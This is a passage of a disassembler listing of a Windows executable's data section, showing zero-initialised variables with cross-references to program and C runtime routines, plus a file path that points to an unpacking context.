; DATA XREF: sub_409DD4+CA5w ; sub_40AA90+2C0r ; char byte_4E3228[] byte_4E3228 db 14h dup(0) ; DATA XREF: sub_40AF71+32o dword_4E323C dd 2 dup(0) ; DATA XREF: .text:0040ADCCo dword_4E3244 dd 0 ; DATA XREF: sub_40B29D+12o dword_4E3248 dd 0 ; DATA XREF: sub_40B3A7+33o dword_4E324C dd 0 ; DATA XREF: sub_40B3A7+63o byte_4E3250 db 0 ; DATA XREF: sub_40B64F+6Ar ; sub_40B64F+98w align 8 dword_4E3258 dd 0 ; DATA XREF: sub_40C0B6+18r ; sub_40C603+9o ... dword_4E325C dd 0 ; DATA XREF: sub_40C951+4Dr ; sub_40CB69+D9w ... dd 3B8h dup(0) db 3 dup(0) byte_4E4143 db 0 ; DATA XREF: .data:004548BCo dd 2 dup(0) dword_4E414C dd 0 ; DATA XREF: .data:off_4517C8o dword_4E4150 dd 101h dup(0) ; DATA XREF: .data:00454998o db 2 dup(0) word_4E4556 dw 0 ; DATA XREF: .data:00454A1Co dd 0BAh dup(0) db 3 dup(0) byte_4E4843 db 0 ; DATA XREF: .data:00454B8Co ; .data:00454BCCo ... dd 40h dup(0) db 2 dup(0) word_4E4946 dw 0 ; DATA XREF: .data:004546FCo ; .data:00454704o dd 181h dup(0) db 2 dup(0) word_4E4F4E dw 0 ; DATA XREF: .data:00454D6Co dd 0C2h dup(0) dword_4E5258 dd 6 dup(0) ; DATA XREF: sub_40C951+D2o ; sub_40C951+13Bo ... dword_4E5270 dd 0 ; DATA XREF: sub_40C12D+2C4w ; sub_40C12D+348o dword_4E5274 dd 0 ; DATA XREF: sub_40C12D+33Ew ; sub_40C12D+35Ar dword_4E5278 dd 0 ; DATA XREF: sub_40C12D+2CFw dword_4E527C dd 0 ; DATA XREF: sub_40C12D+2B9w ; sub_40C12D:loc_40C442r ; char byte_4E5280[] byte_4E5280 db 80h dup(0) ; DATA XREF: sub_40C12D+2E2o ; sub_40C12D+302o dword_4E5300 dd 0 ; DATA XREF: sub_40C12D+2D5w dword_4E5304 dd 0 ; DATA XREF: sub_40C12D+2EFw ; sub_40C12D+30Fw dword_4E5308 dd 0 ; DATA XREF: sub_40C12D:loc_40C49Dr align 10h dword_4E5310 dd 0 ; DATA XREF: sub_40C12D+82w ; sub_40C12D+101o dword_4E5314 dd 0Ch dup(0) ; DATA XREF: sub_40C12D+41o db 0 byte_4E5345 db 3 dup(0) ; DATA XREF: .data:00454888o ; .data:00454DD4o dd 34h dup(0) ; char byte_4E5418[] byte_4E5418 db 104h dup(0) ; DATA XREF: sub_40C12D+69o dword_4E551C dd 0 ; DATA XREF: sub_40C12D+F7w ; sub_40C12D+113r dword_4E5520 dd 0 ; DATA XREF: sub_40C12D+52w dword_4E5524 dd 0 ; DATA XREF: sub_40C12D+4Dw ; sub_40C12D+D4r ; char byte_4E5528[] byte_4E5528 db 80h dup(0) ; DATA XREF: sub_40C12D+9Ao ; sub_40C12D+BAo dword_4E55A8 dd 0 ; DATA XREF: sub_40C12D+8Fw dword_4E55AC dd 0 ; DATA XREF: sub_40C12D+A7w ; sub_40C12D+C7w dword_4E55B0 dd 0 ; DATA XREF: sub_40C12D:loc_40C256r align 8 dword_4E55B8 dd 0 ; DATA XREF: sub_40C12D+1A5w ; sub_40C12D+225o dword_4E55BC dd 41h dup(0) ; DATA XREF: sub_40C12D+167o ; char byte_4E56C0[] byte_4E56C0 db 104h dup(0) ; DATA XREF: sub_40C12D+18Co dword_4E57C4 dd 0 ; DATA XREF: sub_40C12D+21Bw ; sub_40C12D+237r dword_4E57C8 dd 0 ; DATA XREF: sub_40C12D+17Aw dword_4E57CC dd 0 ; DATA XREF: sub_40C12D+175w ; sub_40C12D+1F8r ; char byte_4E57D0[] byte_4E57D0 db 80h dup(0) ; DATA XREF: sub_40C12D+1BEo ; sub_40C12D+1DEo dword_4E5850 dd 0 ; DATA XREF: sub_40C12D+1B1w dword_4E5854 dd 0 ; DATA XREF: sub_40C12D+1CBw ; sub_40C12D+1EBw dword_4E5858 dd 0 ; DATA XREF: sub_40C12D:loc_40C37Ar align 10h dword_4E5860 dd 0 ; DATA XREF: sub_40C12D+417w ; sub_40C12D+470o ; char byte_4E5864[] byte_4E5864 db 288h dup(0) ; DATA XREF: sub_40C12D+405o ; char byte_4E5AEC[] byte_4E5AEC db 104h dup(0) ; DATA XREF: sub_40C12D+3CFo dword_4E5BF0 dd 0 ; DATA XREF: sub_40C12D+3FCw ; sub_40C12D+423r align 8 dword_4E5BF8 dd 0 ; DATA XREF: sub_40C12D+466w ; sub_40C12D+482r dword_4E5BFC dd 0 ; DATA XREF: sub_40C12D+429w dword_4E5C00 dd 0 ; DATA XREF: sub_40C12D+436w dword_4E5C04 dd 0 ; DATA XREF: sub_40C12D+3F6w dd 0 dword_4E5C0C dd 0 ; DATA XREF: sub_40C12D:loc_40C5C5r dd 0 dword_4E5C14 dd 0 ; DATA XREF: sub_40BD79+Er ; sub_40BD79+32r ... dword_4E5C18 dd 0 ; DATA XREF: sub_40BD79+9r ; sub_40BD79+26r ... ; char byte_4E5C1C[] byte_4E5C1C db 208h dup(0) ; DATA XREF: sub_40CDC8+8Do dword_4E5E24 dd 2 dup(0) ; DATA XREF: sub_40D75F+68o dword_4E5E2C dd 0 ; DATA XREF: sub_40D1FF+13o dword_4E5E30 dd 0 ; DATA XREF: sub_40DA4E+10o dword_4E5E34 dd 2080Ah ; DATA XREF: sub_40E2CB+8w ; sub_40E3C7+2D6o dd 0 dword_4E5E3C dd 0 ; DATA XREF: sub_40E3C7+64o dword_4E5E40 dd 0 ; DATA XREF: sub_40E3C7+69o dword_4E5E44 dd 3 dup(0) ; DATA XREF: sub_40E3C7+20Co dword_4E5E50 dd 0 ; DATA XREF: sub_40EC5E+148o dword_4E5E54 dd 0 ; DATA XREF: sub_40EF29+1Fr ; sub_40EF74+BCo ... dword_4E5E58 dd 0 ; DATA XREF: sub_40EF74+B7o ; sub_40EF74+DAr ... dword_4E5E5C dd 0 ; DATA XREF: sub_40EF74+9Ao ; sub_40EF74+CFr ... dword_4E5E60 dd 0 ; DATA XREF: sub_40EEE6+35r ; sub_40EF74+95o ... dword_4E5E64 dd 0 ; DATA XREF: sub_40EEE6+17r ; sub_40EF29+3Dr ... dd 0 dword_4E5E6C dd 2AE3h ; DATA XREF: sub_40C12D+2AEr ; sub_40F149+10w ... dd 0 dword_4E5E74 dd 0 ; DATA XREF: sub_40BDE5+1Cr ; sub_40F160+27Cw dword_4E5E78 dd 0 ; DATA XREF: sub_40FA39+2Aw ; sub_40FA39+51r ... dd 3 dup(0) dword_4E5E88 dd 3 dup(0) ; DATA XREF: sub_410B5C+74o dword_4E5E94 dd 0 ; DATA XREF: sub_411240+146r dd 0 dword_4E5E9C dd 2 dup(0) ; DATA XREF: sub_411240+139o byte_4E5EA4 db 0 ; DATA XREF: sub_412217+1EFr align 4 dword_4E5EA8 dd 0 ; DATA XREF: sub_412DD2+4w ; sub_412DD2+9o align 10h byte_4E5EB0 db 0 ; DATA XREF: sub_41391E+1D3w ; sub_41391E+2D2o align 2 word_4E5EB2 dw 0 ; DATA XREF: sub_41391E+1E3w word_4E5EB4 dw 0 ; DATA XREF: sub_41391E+1E9w word_4E5EB6 dw 0 ; DATA XREF: sub_41391E+1F0w byte_4E5EB8 db 0 ; DATA XREF: sub_41391E+1F7w byte_4E5EB9 db 0 ; DATA XREF: sub_41391E+1FEw word_4E5EBA dw 0 ; DATA XREF: sub_41391E+204w dword_4E5EBC dd 0 ; DATA XREF: sub_41391E+234w ; sub_41391E+250w dword_4E5EC0 dd 0 ; DATA XREF: sub_41391E+258w byte_4E5EC4 db 0 ; DATA XREF: sub_41391E+26Aw byte_4E5EC5 db 0 ; DATA XREF: sub_41391E+27Dw word_4E5EC6 dw 0 ; DATA XREF: sub_41391E+295w word_4E5EC8 dw 0 ; DATA XREF: sub_41391E+2A4w word_4E5ECA dw 0 ; DATA XREF: sub_41391E+29Cw dword_4E5ECC dd 101h dup(0) ; DATA XREF: sub_41391E+2B9o ; char byte_4E62D0[] byte_4E62D0 db 200h dup(0) ; DATA XREF: sub_401CC7+2F63o ; sub_401CC7:loc_404CB8o ... byte_4E64D0 db 0 ; DATA XREF: sub_4151C6+1A1w ; sub_4151C6+27Ao align 2 word_4E64D2 dw 0 ; DATA XREF: sub_4151C6+1AEw word_4E64D4 dw 0 ; DATA XREF: sub_4151C6+1B8w word_4E64D6 dw 0 ; DATA XREF: sub_4151C6+1C1w byte_4E64D8 db 0 ; DATA XREF: sub_4151C6+1C8w byte_4E64D9 db 0 ; DATA XREF: sub_4151C6+1CFw word_4E64DA dw 0 ; DATA XREF: sub_4151C6+1D6w dword_4E64DC dd 0 ; DATA XREF: sub_4151C6+1E3w dword_4E64E0 dd 0 ; DATA XREF: sub_4151C6+1EBw word_4E64E4 dw 0 ; DATA XREF: sub_4151C6+244w word_4E64E6 dw 0 ; DATA XREF: sub_4151C6+22Cw word_4E64E8 dw 0 ; DATA XREF: sub_4151C6+256w word_4E64EA dw 0 ; DATA XREF: sub_4151C6+1F7w dword_4E64EC dd 101h dup(0) ; DATA XREF: sub_4151C6+265o dword_4E68F0 dd 0 ; DATA XREF: sub_401CC7+1A14w ; sub_401CC7+2F5Br ... align 10h byte_4E6900 db 0 ; DATA XREF: sub_4156AF+244o ; sub_4156AF+253w ... byte_4E6901 db 0 ; DATA XREF: sub_4156AF+267w word_4E6902 dw 0 ; DATA XREF: sub_4156AF+298w word_4E6904 dw 0 ; DATA XREF: sub_4156AF+27Fw ; sub_4156AF:loc_415A75w word_4E6906 dw 0 ; DATA XREF: sub_4156AF+29Ew byte_4E6908 db 0 ; DATA XREF: sub_4156AF+28Bw byte_4E6909 db 0 ; DATA XREF: sub_4156AF+260w word_4E690A dw 0 ; DATA XREF: sub_4156AF+3E6w ; sub_4156AF+410w dword_4E690C dd 0 ; DATA XREF: sub_4156AF:loc_41596Cw ; sub_4156AF+38Er dword_4E6910 dd 0 ; DATA XREF: sub_4156AF+2CAw word_4E6914 dw 0 ; DATA XREF: sub_4156AF+388w ; sub_4156AF+3DCo word_4E6916 dw 0 ; DATA XREF: sub_4156AF+329w ; sub_4156AF+34Er ... dword_4E6918 dd 0 ; DATA XREF: sub_4156AF+300w ; sub_4156AF+3CDw dword_4E691C dd 0 ; DATA XREF: sub_4156AF+31Cw ; sub_4156AF+39Fw ... byte_4E6920 db 0 ; DATA XREF: sub_4156AF+305r ; sub_4156AF+313w byte_4E6921 db 0 ; DATA XREF: sub_4156AF+2CFw ; sub_4156AF+398w ... word_4E6922 dw 0 ; DATA XREF: sub_4156AF+2DDw word_4E6924 dw 0 ; DATA XREF: sub_4156AF+3EDw ; sub_4156AF+41Ew word_4E6926 dw 0 ; DATA XREF: sub_4156AF+322w word_4E6928 dw 0 ; DATA XREF: sub_4156AF+354w ; sub_4156AF+426o word_4E692A dw 0 ; DATA XREF: sub_4156AF+363w ; sub_4156AF+3FDw dword_4E692C dd 0 ; DATA XREF: sub_4156AF+35Dw dd 2 dup(0) dword_4E6938 dd 0 ; DATA XREF: sub_4156AF+393w ; sub_4156AF+40Bo dword_4E693C dd 0 ; DATA XREF: sub_4156AF+32Fw byte_4E6940 db 0 ; DATA XREF: sub_4156AF+335w byte_4E6941 db 0 ; DATA XREF: sub_4156AF+33Bw word_4E6942 dw 0 ; DATA XREF: sub_4156AF+348w dword_4E6944 dd 7 dup(0) ; DATA XREF: sub_4156AF+3E1o dword_4E6960 dd 0 ; DATA XREF: sub_4156AF+30w ; sub_4156AF+42Fr ; char byte_4E6964[] byte_4E6964 db 404h dup(0) ; DATA XREF: sub_4156AF+1C0o ; sub_4156AF+472o ; char byte_4E6D68[] byte_4E6D68 db 4000h dup(0) ; DATA XREF: sub_415C3F+1Do ; .text:00415D29o ... ; char byte_4EAD68[] byte_4EAD68 db 4 dup(0) ; DATA XREF: sub_415C3F+13o ; .text:00415D70o ... dword_4EAD6C dd 0 ; DATA XREF: sub_416159+Fr ; sub_416352+12r dd 2 dup(0) dword_4EAD78 dd 0 ; DATA XREF: .data:0044D448o dword_4EAD7C dd 0 ; DATA XREF: .data:0044D460o dword_4EAD80 dd 0 ; DATA XREF: .data:0044D478o dword_4EAD84 dd 0 ; DATA XREF: .data:0044D490o dword_4EAD88 dd 0 ; DATA XREF: .data:0044D4A8o dword_4EAD8C dd 0 ; DATA XREF: .data:0044D4C0o dword_4EAD90 dd 0 ; DATA XREF: .data:0044D4D8o dword_4EAD94 dd 0 ; DATA XREF: .data:0044D4F0o dword_4EAD98 dd 0 ; DATA XREF: .data:0044D508o dword_4EAD9C dd 0 ; DATA XREF: .data:0044D520o dword_4EADA0 dd 0 ; DATA XREF: .data:0044D538o dword_4EADA4 dd 0 ; DATA XREF: .data:0044D550o dword_4EADA8 dd 0 ; DATA XREF: .data:0044D568o dword_4EADAC dd 0 ; DATA XREF: .data:0044D598o dword_4EADB0 dd 0 ; DATA XREF: .data:0044D5B0o dword_4EADB4 dd 0 ; DATA XREF: .data:0044D5C8o dword_4EADB8 dd 0 ; DATA XREF: .data:0044D5E0o dword_4EADBC dd 0 ; DATA XREF: .data:0044D5F8o dword_4EADC0 dd 0 ; DATA XREF: .data:0044D610o dword_4EADC4 dd 0 ; DATA XREF: .data:0044D628o dword_4EADC8 dd 2 dup(0) ; DATA XREF: .data:0044D640o dword_4EADD0 dd 2 dup(0) ; DATA XREF: sub_4167BF:loc_416852o dword_4EADD8 dd 0 ; DATA XREF: sub_416F62+431o dword_4EADDC dd 0Eh dup(0) ; DATA XREF: sub_41748B+Fo ; char byte_4EAE14[] byte_4EAE14 db 200h dup(0) ; DATA XREF: sub_41815A+41o ; wchar_t word_4EB014 word_4EB014 dw 0 ; DATA XREF: sub_417A8B+C7o ; sub_417DE6+DDo ... align 4 dd 1FFh dup(0) ; wchar_t word_4EB814 word_4EB814 dw 0 ; DATA XREF: sub_417A8B+D6o ; sub_417DE6+F4o ... align 4 dd 1FFh dup(0) dword_4EC014 dd 0 ; DATA XREF: sub_417A8B+86w ; sub_417C5D+94r dword_4EC018 dd 0 ; DATA XREF: sub_417A8B+A7w ; sub_4180C3+55r ... dword_4EC01C dd 0 ; DATA XREF: sub_417A8B+A0w ; sub_417C5D+D6r ... dword_4EC020 dd 0 ; DATA XREF: sub_417A8B+79w ; sub_417C5D+35r ... ; char byte_4EC024[] byte_4EC024 db 200h dup(0) ; DATA XREF: sub_4180C3+5Eo dword_4EC224 dd 0 ; DATA XREF: sub_417A8B+93w ; sub_417C5D+A2r dd 0 dword_4EC22C dd 0 ; DATA XREF: sub_417A8B+E7o ; sub_417A8B+103r ... dword_4EC230 dd 0 ; DATA XREF: sub_417DE6+17Bw ; sub_417F8D+107w ; void *Src Src dd 0 ; DATA XREF: sub_417DE6+180w ; sub_417F8D+10Dw ... dword_4EC238 dd 0 ; DATA XREF: sub_417DE6+159w ; sub_4180C3+4Fr align 10h dword_4EC240 dd 0 ; DATA XREF: sub_41842D+22w ; sub_41842D:loc_4185B2w ... dword_4EC244 dd 0 ; DATA XREF: sub_401CC7+3CBDo ; sub_4182F9+12o ... dd 0 dword_4EC24C dd 0 ; DATA XREF: sub_41842D+1Cr ; sub_4185D2+3Ar dd 7Fh dup(0) dword_4EC44C dd 0 ; DATA XREF: sub_41842D+28r ; sub_4185D2+4Aw dd 1944h dup(0) dword_4F2960 dd 0 ; DATA XREF: sub_4185D2+23o dword_4F2964 dd 0 ; DATA XREF: sub_401CC7+3CDBo ; sub_4182F9+3Co ... dword_4F2968 dd 0 ; DATA XREF: .data:0044F33Co dword_4F296C dd 0 ; DATA XREF: .data:0044F344o dword_4F2970 dd 0 ; DATA XREF: .data:0044F348o dword_4F2974 dd 0 ; DATA XREF: .data:0044F34Co dword_4F2978 dd 0 ; DATA XREF: .data:0044F350o dword_4F297C dd 0 ; DATA XREF: .data:0044F36Co dword_4F2980 dd 0 ; DATA XREF: .data:0044F374o dword_4F2984 dd 0 ; DATA XREF: .data:0044F378o dword_4F2988 dd 0 ; DATA XREF: .data:0044F384o dword_4F298C dd 0 ; DATA XREF: .data:0044F388o dword_4F2990 dd 0 ; DATA XREF: .data:0044F390o ; char byte_4F2994[] byte_4F2994 db 204h dup(0) ; DATA XREF: sub_418E65+6Ao dword_4F2B98 dd 0 ; DATA XREF: sub_4190F6+E9o ; char byte_4F2B9C[] byte_4F2B9C db 5Ch dup(0) ; DATA XREF: sub_4196AA:loc_4197C7o ; sub_4196AA+131o ... ; char byte_4F2BF8[] byte_4F2BF8 db 200h dup(0) ; DATA XREF: sub_41A460+7Co ; sub_41A460+A5o dword_4F2DF8 dd 0 ; DATA XREF: sub_419A25+45w ; sub_419A25+4Dr ... ; char byte_4F2DFC[] byte_4F2DFC db 5Ch dup(0) ; DATA XREF: sub_41A32C:loc_41A44Eo ; sub_41A32C+12Do ; char byte_4F2E58[] byte_4F2E58 db 200h dup(0) ; DATA XREF: sub_419965+4Co ; sub_419965+7Eo ... byte_4F3058 db 0 ; DATA XREF: sub_419A25+29r ; sub_419A25+34w align 4 ; char byte_4F305C[] byte_4F305C db 200h dup(0) ; DATA XREF: sub_419C7C+61o ; sub_419C7C+89o ... ; char byte_4F325C[] byte_4F325C db 204h dup(0) ; DATA XREF: sub_41958E:loc_4195C6o ; sub_41958E+5Bo dword_4F3460 dd 0 ; DATA XREF: sub_41A901:loc_41A922r ; sub_41A9F0+54r ... dword_4F3464 dd 0 ; DATA XREF: sub_41A901r ; sub_41A9F0+37r ... dword_4F3468 dd 0 ; DATA XREF: sub_41A931+1Ar ; sub_41AB45+83o dword_4F346C dd 0 ; DATA XREF: sub_41A901:loc_41A915r ; sub_41AB45+11Bw ; char byte_4F3470[] byte_4F3470 db 34h dup(0) ; DATA XREF: sub_41A9F0+13o ; sub_41AB45:loc_41AC86o ; int dword_4F34A4 dword_4F34A4 dd 0 ; DATA XREF: sub_41A9F0+CDr ; sub_41A9F0+ECr ... dd 0 ; char byte_4F34AC[] byte_4F34AC db 4 dup(0) ; DATA XREF: sub_41A969+9o dword_4F34B0 dd 0 ; DATA XREF: sub_41AB45+DFo ; char byte_4F34B4[] byte_4F34B4 db 4 dup(0) ; DATA XREF: sub_41AB45:loc_41AC81o ; char byte_4F34B8[] byte_4F34B8 db 38h dup(0) ; DATA XREF: sub_41B76F+47o dword_4F34F0 dd 0 ; DATA XREF: sub_41B92C+13o dword_4F34F4 dd 941E90h ; DATA XREF: __heap_alloc_dbg+262w ; _realloc_help:loc_41CA8Br ... dword_4F34F8 dd 1545h ; DATA XREF: __heap_alloc_dbg:loc_41C3F3r ; __heap_alloc_dbg+21Cw ... dword_4F34FC dd 943230h ; DATA XREF: __heap_alloc_dbg:loc_41C429r ; __heap_alloc_dbg+252r ... dword_4F3500 dd 118Ah ; DATA XREF: __heap_alloc_dbg+222r ; __heap_alloc_dbg+22Aw ... dword_4F3504 dd 118Ah ; DATA XREF: __heap_alloc_dbg+235r ; __heap_alloc_dbg+243w ... dword_4F3508 dd 0 ; DATA XREF: __sopen+217r dword_4F350C dd 0A28h ; DATA XREF: sub_41D910:loc_41D97Ar ; sub_41D910:loc_41D9EDr ... dword_4F3510 dd 501h ; DATA XREF: start+64w dword_4F3514 dd 5 ; DATA XREF: start+4Fw start+55r dword_4F3518 dd 1 ; DATA XREF: start+3Ew start+5Er dword_4F351C dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401710r ; __setargv+C6w dword_4F3520 dd 942840h ; DATA XREF: WinMain(x,x,x,x)+2FEr ; WinMain(x,x,x,x)+31Er ... align 8 dword_4F3528 dd 942888h ; DATA XREF: __setenvp+7Bw ; __setenvp+81r ... dword_4F352C dd 0 ; DATA XREF: ___crtsetenv+49r dword_4F3530 dd 0 ; DATA XREF: _getenv+24r ; ___wtomb_environ+6r ... align 8 off_4F3538 dd offset aCM_unpackerPac ; DATA XREF: __setargv+26w ; __setargv+3Cr ; "C:\\m_unpacker\\packed.exe" align 10h byte_4F3540 db 0 ; DATA XREF: _doexit+30w ; ___endstdio+8r align 4 dword_4F3544 dd 0 ; DATA XREF: _doexit:loc_41EBA3w dword_4F3548 dd 0 ; DATA XREF: _doexit+9r ; _doexit:loc_41EC4Bw dword_4F354C dd 0 ; DATA XREF: _doexit+95r _doexit+AFw dword_4F3550 dd 0 ; DATA XREF: .text:00420424r ; .text:0042042Fw dword_4F3554 dd 0 ; DATA XREF: __fpmath+10w dword_4F3558 dd 0 ; DATA XREF: _time+88r _time+F8w align 10h dword_4F3560 dd 0 ; DATA XREF: _time+7Dr _time+100w ... byte_4F3564 db 2 dup(0) ; DATA XREF: _time+109w word_4F3566 dw 0 ; DATA XREF: _time+52r dword_4F3568 dd 0 ; DATA XREF: _time+3Dr _time+112w ... dword_4F356C dd 0 ; DATA XREF: _time+11Aw dword_4F3570 dd 0 ; DATA XREF: start+C3w __setenvp+1Br ... align 8 dword_4F3578 dd 0 ; DATA XREF: __amsg_exit+3r ; _fast_error_exit+3r ... dword_4F357C dd 0 ; DATA XREF: __openfile:loc_427CF5r ; __openfile+2CEw ... dword_4F3580 dd 0 ; DATA XREF: __CrtDbgReport+93r ; __CrtDbgReport+C8w ... dword_4F3584 dd 0 ; DATA XREF: _malloc+Ar ; __malloc_dbg+10r ... dword_4F3588 dd 0 ; DATA XREF: _set_new_handler(int (*)(uint))+Er ; _set_new_handler(int (*)(uint))+19w ... align 10h dword_4F3590 dd 143E28h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_451C04o dword_4F35A8 dd 143DB0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_451C44o dword_4F35C0 dd 143E00h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_451C24o dword_4F35D8 dd 143DD8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_451C34o dword_4F35F0 dd 0 ; DATA XREF: ___sbh_decommit_pages+8Br ; ___sbh_decommit_pages+93w ... dword_4F35F4 dd 1 ; DATA XREF: __setmbcp:loc_429622r ; _getSystemCP+3w ... dword_4F35F8 dd 0 ; DATA XREF: __stbuf+A6r __stbuf+C9w ... align 10h dword_4F3600 dd 0 ; DATA XREF: __strcmpi+Co ; __setlocale_set_cat+82r ... align 8 ; int dword_4F3608 dword_4F3608 dd 0 ; DATA XREF: __strupr+Dr ; __strupr:loc_421916r ... dword_4F360C dd 0 ; DATA XREF: ___init_monetary+4r dword_4F3610 dd 0 ; DATA XREF: ___init_numeric+18r dword_4F3614 dd 0 ; DATA XREF: ___init_time+4r dword_4F3618 dd 0 ; DATA XREF: __mbstowcs_lk+B9r ; __mbstowcs_lk+16Cr ... dword_4F361C dd 0 ; DATA XREF: __setlocale_set_cat+11Fw dword_4F3620 dd 0 ; DATA XREF: __expandlocale+C7o ; __expandlocale+140o word_4F3624 dw 0 ; DATA XREF: __expandlocale+E8r align 4 dword_4F3628 dd 0 ; DATA XREF: __expandlocale+EFw ; __expandlocale+159o dword_4F362C dd 1 ; DATA XREF: ___crtLCMapStringA+26r ; ___crtLCMapStringA+4Bw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+19o ; __setargv+26o ... align 4 dd 3Ah dup(0) dword_4F3734 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+14r ; ___crtGetEnvironmentStringsA+2Cw ... dword_4F3738 dd 0 ; DATA XREF: __FF_MSGBANNER+2Br ; __FF_MSGBANNER+34r dword_4F373C dd 0 ; DATA XREF: .text:loc_430826r ; .text:00430832w ... dword_4F3740 dd 0 ; DATA XREF: .text:loc_43083Ar ; .text:00430845w ... dword_4F3744 dd 0 ; DATA XREF: .text:loc_43084Dr ; .text:00430859w ... dword_4F3748 dd 0 ; DATA XREF: .text:loc_430860r ; .text:0043086Cw ... dword_4F374C dd 0 ; DATA XREF: .text:loc_4307BAr ; .text:004307D5w dword_4F3750 dd 0 ; DATA XREF: ___crtMessageBoxA+Dr ; ___crtMessageBoxA+39w ... dword_4F3754 dd 0 ; DATA XREF: ___crtMessageBoxA+5Aw ; ___crtMessageBoxA:loc_430D73r ... dword_4F3758 dd 0 ; DATA XREF: ___crtMessageBoxA+6Ew ; ___crtMessageBoxA+8Br ... dword_4F375C dd 1 ; DATA XREF: ___crtGetStringTypeA+26r ; ___crtGetStringTypeA+46w ... dword_4F3760 dd 0 ; DATA XREF: __openfile+9r ; int (__stdcall *dword_4F3764)() dword_4F3764 dd 77C26E79h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_43316Er ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+37r ... dword_4F3768 dd 0 ; DATA XREF: __tzset_lk+17w ; __tzset_lk+6Dw ... align 10h dword_4F3770 dd 0 ; DATA XREF: __tzset_lk+59o ; __tzset_lk+77r dword_4F3774 dd 10h dup(0) ; DATA XREF: __tzset_lk+103o word_4F37B4 dw 0 ; DATA XREF: sub_4336D0+FCr word_4F37B6 dw 0 ; DATA XREF: __tzset_lk+88r ; sub_4336D0+145r ... word_4F37B8 dw 0 ; DATA XREF: sub_4336D0+132r word_4F37BA dw 0 ; DATA XREF: sub_4336D0+13Br ; sub_4336D0+18Br word_4F37BC dw 0 ; DATA XREF: sub_4336D0+126r ; sub_4336D0+181r word_4F37BE dw 0 ; DATA XREF: sub_4336D0+11Cr ; sub_4336D0+177r word_4F37C0 dw 0 ; DATA XREF: sub_4336D0+113r ; sub_4336D0+16Er word_4F37C2 dw 0 ; DATA XREF: sub_4336D0+109r ; sub_4336D0+164r dword_4F37C4 dd 0 ; DATA XREF: __tzset_lk+93r ; __tzset_lk+CEr dword_4F37C8 dd 10h dup(0) ; DATA XREF: __tzset_lk+149o word_4F3808 dw 0 ; DATA XREF: sub_4336D0+43r word_4F380A dw 0 ; DATA XREF: __tzset_lk+ABr ; sub_4336D0+8Cr ... word_4F380C dw 0 ; DATA XREF: sub_4336D0+79r word_4F380E dw 0 ; DATA XREF: sub_4336D0+82r ; sub_4336D0+D2r word_4F3810 dw 0 ; DATA XREF: sub_4336D0+6Dr ; sub_4336D0+C8r word_4F3812 dw 0 ; DATA XREF: sub_4336D0+63r ; sub_4336D0+BEr word_4F3814 dw 0 ; DATA XREF: sub_4336D0+5Ar ; sub_4336D0+B5r word_4F3816 dw 0 ; DATA XREF: sub_4336D0+50r ; sub_4336D0+ABr dword_4F3818 dd 0 ; DATA XREF: __tzset_lk+B6r ; __tzset_lk+C9r ; char *dword_4F381C dword_4F381C dd 0 ; DATA XREF: __tzset_lk+18Dr ; __tzset_lk+196r ... dword_4F3820 dd 0 ; DATA XREF: ___tzset+3r ___tzset+16r ... dword_4F3824 dd 0 ; DATA XREF: ___init_time+75r ; ___init_time+86r ... dword_4F3828 dd 0 ; DATA XREF: ___init_numeric+25o ; ___init_numeric+93r ... dword_4F382C dd 0 ; DATA XREF: ___init_numeric+42o ; ___init_numeric+A3r ... dword_4F3830 dd 0 ; DATA XREF: ___init_numeric+5Fo ; ___init_numeric+7Cr ... dword_4F3834 dd 0 ; DATA XREF: ___init_monetary+A0r ; ___init_monetary+B1r ... dword_4F3838 dd 0 ; DATA XREF: unknown_libname_28+2AAr ; unknown_libname_28+2B5r ... dword_4F383C dd 0 ; DATA XREF: unknown_libname_28+2CCr ; unknown_libname_28+2D7r ... dword_4F3840 dd 3 dup(0) ; DATA XREF: __setlocale_set_cat+94o ; __setlocale_set_cat+F3o word_4F384C dw 0 ; DATA XREF: unknown_libname_28+36r align 10h dd 0 word_4F3854 dw 0 ; DATA XREF: __get_lc_lconv+Fr align 4 db 2 dup(0) word_4F385A dw 0 ; DATA XREF: ___init_numeric+Fr db 2 dup(0) word_4F385E dw 0 ; DATA XREF: __get_lc_time+Fr word_4F3860 dw 0 ; DATA XREF: __get_lc_time+1Ar align 4 dword_4F3864 dd 0 ; DATA XREF: ___get_qualified_locale+155r ; ___get_qualified_locale+176r ... dword_4F3868 dd 0 ; DATA XREF: _GetLcidFromLangCountry+37w ; LangCountryEnumProc(x)+1Br ... ; size_t MaxCount MaxCount dd 0 ; DATA XREF: _GetLcidFromLangCountry+6Ew ; LangCountryEnumProc(x)+101r ... dword_4F3870 dd 0 ; DATA XREF: _GetLcidFromLangCountry+1Aw ; _GetLcidFromLangCountry+47r ... ; char *dword_4F3874 dword_4F3874 dd 0 ; DATA XREF: ___get_qualified_locale+45w ; ___get_qualified_locale+4Br ... ; char *dword_4F3878 dword_4F3878 dd 0 ; DATA XREF: ___get_qualified_locale+7Aw ; ___get_qualified_locale+80r ... dword_4F387C dd 0 ; DATA XREF: ___get_qualified_locale:loc_4351B9w ; ___get_qualified_locale:loc_43521Er ... dword_4F3880 dd 0 ; DATA XREF: ___get_qualified_locale+182r ; ___get_qualified_locale+1CBr ... dword_4F3884 dd 0 ; DATA XREF: ___get_qualified_locale+6r ; ___get_qualified_locale+2Cw ... dword_4F3888 dd 0 ; DATA XREF: __sopen:loc_43179Cr byte_4F388C db 0 ; DATA XREF: sub_438C60+18Fo ; sub_438C60+1F2r ... align 10h dd 0 dword_4F3894 dd 0 ; DATA XREF: __free_lc_lconv+11o ; .data:off_454EFCo ... dword_4F3898 dd 0 ; DATA XREF: ___crtGetStringTypeW+26r ; ___crtGetStringTypeW+46w ... dword_4F389C dd 0 ; DATA XREF: ___crtGetLocaleInfoW+26r ; ___crtGetLocaleInfoW+41w ... dword_4F38A0 dd 0 ; DATA XREF: ___crtGetLocaleInfoA+26r ; ___crtGetLocaleInfoA+41w ... dword_4F38A4 dd 0 ; DATA XREF: ___crtCompareStringA+26r ; ___crtCompareStringA+4Bw ... dword_4F38A8 dd 0 ; DATA XREF: 